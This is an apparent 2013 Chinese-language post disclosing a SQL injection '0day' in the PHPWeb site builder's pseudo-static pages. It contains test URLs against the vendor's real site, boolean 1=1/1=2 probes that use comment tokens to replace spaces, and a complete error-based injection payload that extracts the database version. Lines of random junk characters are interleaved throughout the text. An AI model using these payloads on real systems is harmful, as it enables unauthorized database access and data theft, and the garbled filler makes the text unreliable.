phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
0 h6 \8 R6 F4 s' d7 h( p, }
主站：http://phpweb.net/
加’检测：
" z6 U+ p1 N6 u6 d" d. D& C
http://www.phpweb.net/down/html/?772′.html
3 x1 g7 L5 k" e9 K/ h
出错
存在注入。
, j4 }0 X" N: ~& G% |# V2 j# [不能用空格，只能用/*罗
2 f, o1 ?, o/ I4 X) T! P9 g3 ]http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
+ ^. J% S* r' ]% G
( N; |; l% Y: n, k; @  z2 m) d+ A# Lhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
. R; x- L0 I% J1 b" o2 \
/ Y# I& `4 R* Y( ~. @' X?
' f) w% n) ~7 f+ B: O0 m1
( u0 K2 d; y& F. p* s0 ?; zhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50